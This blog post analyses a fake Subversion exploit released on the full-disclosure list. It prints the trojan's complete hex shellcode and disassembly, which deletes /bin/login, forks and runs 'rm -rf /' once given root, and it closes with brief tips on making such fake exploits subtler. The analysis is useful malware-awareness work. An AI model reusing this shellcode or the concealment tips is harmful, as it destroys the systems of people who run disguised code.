Yesterday, a message surfaced in full-disclosure, the mostly always funny and chaotic unmoderated security-related list (although the nature of the list these days is ambiguous, it remains as a free alternative to commercially sponsored and more supervised alternatives). It was a supposedly accidental release to the public eye of a remote Subversion exploit (which already seems enough dubious):
/* * This exploits a wierd state condition in Subversion < = 1.4.4. * When the incoming connection stack is filled via many incoming * syns in concurance with shifting the rev_ptr struct over a * variable gap of memory a boundary condition occurs which corrupts * a func ptr to point several bytes backwards. A call is forced * through "checkout-latest-rev" with our shellcode in place. * * This Vuln is NOT public, do NOT release this code or any * information pertaining to this bug. * * Author: onionring */
Behind a serious sounding description, there's really nothing technically valid. It's just "mumbo jumbo" to make it apparently legitimate to any potential user of the exploit (in this case, more than one security guy has probably attempted to use it).
We have a seemingly normal IA32 shellcode (except for the hardcoded NOP sled which is not so stylish):
char sc[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" ... "\x31\xC0\x89\xC3\x89\xC1\x41\xB0\x30\xCD\x80\x31\xC0\xFE\xC3\x80" "\xFB\x1F\x72\xF3\x04\x40\xCD\x80\x89\xC2\x31\xC0\xB0\x02\xCD\x80" "\x39\xC0\x74\x08\x31\xC0\x89\xC3\xB0\x01\xCD\x80\x31\xC0\xB0\x42" "\xCD\x80\x43\x39\xDA\x74\x08\x89\xD3\x31\xC0\x04\x25\xCD\x80\x31" "\xC0\x50\x68\x6F\x67\x69\x6E\x68\x69\x6E\x2F\x6C\x68\x2F\x2F\x2F" "\x62\x89\xE3\x31\xC0\x04\x0A\xCD\x80\x31\xC0\x50\x68\x2A\x2F\x2F" "\x2F\x89\xE2\x50\x68\x2D\x72\x66\x66\x89\xE1\x50\x68\x6E\x2F\x72" "\x6D\x68\x2F\x2F\x62\x69\x89\xE3\x50\x52\x51\x53\x89\xE1\x31\xD2" "\x04\x0B\xCD\x80";
Let's take a look over the disassembly and strings. We notice a call to the signal() system call:
From include/asm-i386/unistd.h #define __NR_signal 48 From include/asm-generic/signal.h /* ignore signal */ #define SIG_IGN ((__force __sighandler_t)1) From include/asm-i386/signal.h #define SIGHUP 1 00000030 31C0 xor eax,eax 00000032 89C3 mov ebx,eax 00000034 89C1 mov ecx,eax 00000036 41 inc ecx 00000037 B030 mov al,0x30 00000039 CD80 int 0x80
Later it issues a fork() call and, as
a reply in full-disclosure
thread, seems to be part of a typical fork() bomb procedure.
That's rather uninteresting anyway, except for the fact that its intention is likely to render the machine unusable while the real harmful (or fun, depending if you are watching someone run it, or you are running it yourself in an unprotected environment ;) ) part is executed.
0000006F 31C0 xor eax,eax 00000071 50 push eax 00000072 686F67696E push dword 0x6e69676f 00000077 68696E2F6C push dword 0x6c2f6e69 0000007C 682F2F2F62 push dword 0x622f2f2f 00000081 89E3 mov ebx,esp 00000083 31C0 xor eax,eax 00000085 040A add al,0xa 00000087 CD80 int 0x80
There you go. This annoyance is nothing but an unlink() call to remove
the /bin/login file. The situation is aggravated by the fact that the
fake exploit, using raw sockets as excuse, requires root privileges to run:
if (getuid() != 0) {
fprintf(stderr, "[E] Need root privs for raw sockets\n");
exit(1);
}
And finally the mandatory execve() of /bin/rm -rf /, which is typical in these cases.
00000089 31C0 xor eax,eax 0000008B 50 push eax 0000008C 682A2F2F2F push dword 0x2f2f2f2a 00000091 89E2 mov edx,esp 00000093 50 push eax 00000094 682D726666 push dword 0x6666722d 00000099 89E1 mov ecx,esp 0000009B 50 push eax 0000009C 686E2F726D push dword 0x6d722f6e 000000A1 682F2F6269 push dword 0x69622f2f 000000A6 89E3 mov ebx,esp 000000A8 50 push eax 000000A9 52 push edx 000000AA 51 push ecx 000000AB 53 push ebx 000000AC 89E1 mov ecx,esp 000000AE 31D2 xor edx,edx 000000B0 040B add al,0xb 000000B2 CD80 int 0x80
You can use the watson.org LXR installation for
looking up
system call numbers, and other constants. The disassembly is clear and easy
to interpret, it shouldn't be a problem to understand what's going on.
Why are fake exploits necessary? They usually catch script kiddies
and other annoying people, and the technically skilled guys won't bother running
them without inspection (there are exceptions, though :) ). They serve as great
jokes, even if some can cause significant damage to the system (unless you run
them inside a hardened chroot environment, with a solid patch like
grsecurity that prevents several techniques
to break out of the chroot).
How to make them more subtle and reliable? Some simple tips:
strings against your
exploit in compiled form.
signal handler.mprotect() is your friend. Make it subtle, though.There have been more elaborated fake exploits released to the public and distributed through legitimate FTP servers. One of them was wu261.c, in 2001.
>Hey, I'm told that this exploit like eats your hard drive or something. >Caveat emptor and all, but I figured since I actually heard about this, >I'd let you know. I guess it's a spoofed note. > BB
Side note: Michal Zalewski (lcamtuf, working now for Google) released back in 2004 a tool to aid in detection of fake exploits, known as "fakebust".
Subreption blog by Subreption LLC is Licensed under a
Creative Commons Attribution-Noncommercial-No Derivative Works 3.0
United States License.